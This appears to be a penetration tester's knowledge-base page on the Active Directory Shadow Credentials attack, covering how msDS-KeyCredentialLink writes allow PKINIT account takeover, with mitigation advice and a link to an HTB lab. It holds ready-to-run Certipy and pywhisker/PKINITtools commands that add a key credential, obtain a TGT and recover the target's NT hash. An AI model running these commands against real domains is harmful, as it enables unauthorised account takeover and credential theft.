đź§ Active Directory - Shadow Credentials Attack
What is it?
- Concept:
msDS-KeyCredentialLinkis an attribute (introduced for Windows Hello for Business) that lets an account authenticate via a public key instead of a password — anyone with write access to that single attribute on a target object can attach a public key they generated themselves, then authenticate as the target with the matching private key. Unlike Active Directory - ACL Abuse (GenericAll & ForceChangePassword), the account’s real password is never touched or reset, so there’s no lockout/notification tied to a password change. - Impact: Turns a
GenericWrite/GenericAll/WritePropertyACE on any user or computer account — into a full credential-level takeover of that account, entirely via Active Directory Certificate Services (ADCS)/Kerberos PKINIT, without needing ADCS itself to be misconfigured.
How it works
- The attacker generates their own certificate/key pair and writes a corresponding “Key Credential” entry into the target’s
msDS-KeyCredentialLinkattribute — a normal LDAP attribute write, requiring onlyGenericWrite/WritePropertyon that attribute. - The KDC honors any valid Key Credential on an account for Kerberos PKINIT authentication, exactly as if it were a smart-card certificate — this works regardless of whether the domain even runs ADCS, since PKINIT doesn’t require a CA-issued cert.
- The attacker authenticates with the attacker-held private key via PKINIT, gets back a TGT for the target, and — if
StrongCertificateBindingEnforcement/U2U allows it — can additionally recover the target’s actual NT hash from that ticket exchange.
Exploitation
Prerequisites
GenericWrite/GenericAll/WritePropertyon a target user or computer object (specifically coversmsDS-KeyCredentialLink)
Attack Vectors
# Certipy (v5+) does the whole chain in one command: add a Key Credential,
# request a cert through it, authenticate, and recover the NT hash
certipy-ad shadow auto -u '<user>@<domain>' -p '<pass>' -account '<target>' -dc-ip <dc_ip># Manual/older equivalent, useful when only pywhisker + PKINITtools are available
python3 pywhisker.py -d '<domain>' -u '<user>' -p '<pass>' --target '<target>' --action 'add'
# -> prints a saved .pfx path + its password
python3 gettgtpkinit.py -cert-pfx '<file>.pfx' '<domain>/<target>' -pfx-pass '<pfx_password>' '<target>.ccache'
export KRB5CCNAME='<target>.ccache'
python3 getnthash.py -key '<key_printed_by_gettgtpkinit>' '<domain>/<target>'Notes
- This is one of the few AD attacks that requires no password reset, no group membership change, and no ADCS misconfiguration whatsoever — the only footprint is a new entry in
msDS-KeyCredentialLink, which is easy to miss without specifically monitoring that attribute. - Works identically against computer accounts, not just users — a
GenericWriteon a machine account is just as exploitable as one on a user account. - Clean up afterward with
certipy-ad shadow remove(orpywhisker --action remove) if operating under engagement rules that require minimizing lasting changes.
Mitigation
- Fix: Audit and restrict write access to
msDS-KeyCredentialLinkthe same way you wouldservicePrincipalNameor group membership — it’s a full authentication bypass, not a lesser attribute. Monitor for unexpected writes to this attribute directly, since a password-change audit won’t catch this technique at all.
Related Usage
| File | Created |
|---|---|
| HTB - Certified | July 23, 2026 |
References: